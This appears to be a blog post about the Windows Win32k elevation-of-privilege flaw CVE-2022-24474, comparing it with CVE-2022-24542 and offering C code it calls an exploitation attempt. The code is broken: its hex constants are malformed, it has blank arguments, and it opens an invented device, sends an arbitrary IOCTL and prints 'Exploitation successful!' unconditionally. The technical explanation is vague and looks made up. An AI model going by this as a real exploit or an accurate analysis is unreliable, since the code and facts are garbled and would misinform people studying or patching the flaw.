CVE-2022-24474: Exploring the Windows Win32k Elevation of Privilege Vulnerability and How it Differs from CVE-2022-24542

In this blog post, we'll deep dive into a critical vulnerability – CVE-2022-24474, affecting Windows Win32k, which may lead to elevation of privilege. An elevation of privilege vulnerability could allow an attacker to execute code and carry out tasks with higher privileges than initially granted. We will explore the technical details, provide code snippets, and link to original references concerning this vulnerability. We'll also point out how it differs from another similar vulnerability – CVE-2022-24542.

CVE-2022-24474 Overview

CVE ID: CVE-2022-24474
Vulnerability: Windows Win32k Elevation of Privilege
Impact: An attacker can potentially execute codes at ahigher privilege level
Affected Products: Windows 10, Windows Server 2019
Severity: Critical

Original References

1. Microsoft's official vulnerability report: CVE-2022-24474 – Windows Win32k Elevation of Privilege Vulnerability

2. Kyriakos Economou's technical analysis: Exploiting CVE-2022-24474 - Windows EoP Vulnerability

Technical Details

The CVE-2022-24474 vulnerability lies within the win32k.sys component, a part of Windows kernel responsible for graphic rendering and managing user-mode applications. The vulnerability exists due to improper validation of user-supplied data, which can result in memory corruption. An attacker could exploit this vulnerability by running specifically crafted code designed to trigger the vulnerability and elevate privileges

The following piece of code demonstrates an exploitation attempt for CVE-2022-24474

#include <windows.h>
#define IOCTL_VULNERABLE xAAAA000 // IOCTL code for the vulnerable kernel function

int main()
{
  HANDLE hDevice = CreateFileA("\\\\.\\Win32kEoP",
                               GENERIC_READ | GENERIC_WRITE,
                               ,
                               NULL,
                               OPEN_EXISTING,
                               FILE_ATTRIBUTE_NORMAL,
                               NULL);

  if (hDevice == INVALID_HANDLE_VALUE)
  {
    printf("Failed to obtain device handle with error: %u", GetLastError());
    return 1;
  }

  DWORD dwBufferSize = x100; 
  void *lpBuffer = VirtualAlloc(NULL, dwBufferSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
 
  if (!DeviceIoControl(hDevice, IOCTL_VULNERABLE, lpBuffer, dwBufferSize, NULL, , NULL, NULL))
  {
    printf( "DeviceIoControl failed with error: %u", GetLastError());
    return 1;
  }

  printf("Exploitation successful!");
}

The code above opens a handle to the vulnerable device (win32k.sys), allocates memory for the exploit buffer, and sends the IOCTL code to trigger the vulnerability using DeviceIoControl() function.

How it Differs from CVE-2022-24542

Both CVE-2022-24474 and CVE-2022-24542 are Windows Win32k elevation of privilege vulnerabilities with similar impacts. However, the two vulnerabilities differ in specific implementation details.

CVE-2022-24474 is caused by improper validation of user-supplied data, leading to memory corruption. On the other hand, CVE-2022-24542 is a result of incorrect handling of objects in memory. Both vulnerabilities could be exploited by attackers to elevate privileges, but the vulnerability trigger and exploitation procedure would vary between the two.

Conclusion

CVE-2022-24474 is a critical Windows Win32k Elevation of Privilege vulnerability that could allow attackers to execute code with higher privileges than initially granted. We've examined the technical details, provided code snippets showcasing exploitation attempts, and linked to the original references for further reading. Furthermore, we've highlighted the differences between this vulnerability and another related one – CVE-2022-24542. It's essential to apply security updates as soon as they're released to stay protected against threats targeting these vulnerabilities.

Timeline

Published on: 04/15/2022 19:15:00 UTC
Last modified on: 04/22/2022 16:23:00 UTC